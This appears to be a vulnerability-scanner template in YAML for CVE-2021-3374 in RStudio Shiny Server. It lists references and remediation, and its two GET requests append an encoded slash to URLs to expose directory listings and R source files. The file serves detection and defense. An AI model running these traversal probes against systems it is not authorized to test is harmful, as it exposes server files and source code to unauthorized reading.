52 lines
1.8 KiB
YAML
52 lines
1.8 KiB
YAML
id: CVE-2021-3374
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info:
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name: Rstudio Shiny Server <1.5.16 - Local File Inclusion
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author: geeknik
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severity: medium
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description: Rstudio Shiny Server prior to 1.5.16 is vulnerable to local file inclusion and source code leakage. This can be exploited by appending an encoded slash to the URL.
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impact: |
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Successful exploitation of this vulnerability could allow an attacker to read arbitrary files on the server, potentially exposing sensitive information.
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remediation: |
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Upgrade Rstudio Shiny Server to version 1.5.16 or later to mitigate the vulnerability.
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reference:
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- https://github.com/colemanjp/shinyserver-directory-traversal-source-code-leak
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- https://blog.rstudio.com/2021/01/13/shiny-server-1-5-16-update/
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- https://nvd.nist.gov/vuln/detail/CVE-2021-3374
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- https://github.com/ARPSyndicate/cvemon
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- https://github.com/ARPSyndicate/kenzer-templates
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
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cvss-score: 5.3
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cve-id: CVE-2021-3374
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cwe-id: CWE-22
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epss-score: 0.00235
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epss-percentile: 0.61494
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cpe: cpe:2.3:a:rstudio:shiny_server:*:*:*:*:pro:*:*:*
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metadata:
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max-request: 2
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vendor: rstudio
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product: shiny_server
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tags: cve2021,cve,rstudio,traversal
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http:
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- method: GET
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path:
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- "{{BaseURL}}/%2f/"
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- "{{BaseURL}}/sample-apps/hello/%2f/"
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matchers-condition: and
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matchers:
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- type: word
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words:
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- "Index of /"
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- type: regex
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part: body
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regex:
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- "[A-Za-z].*\\.R"
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- type: status
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status:
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- 200
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# digest: 4a0a004730450220092e3113d5b43405d049a5e6b91f805dbfce0484bc0a6cb3d1791bd10b636771022100d9ac7e9f7f5793de6f56a45088ac511ab88c7798a97df2cd015c7f282f0a40c7:922c64590222798bb761d5b6d8e72950 |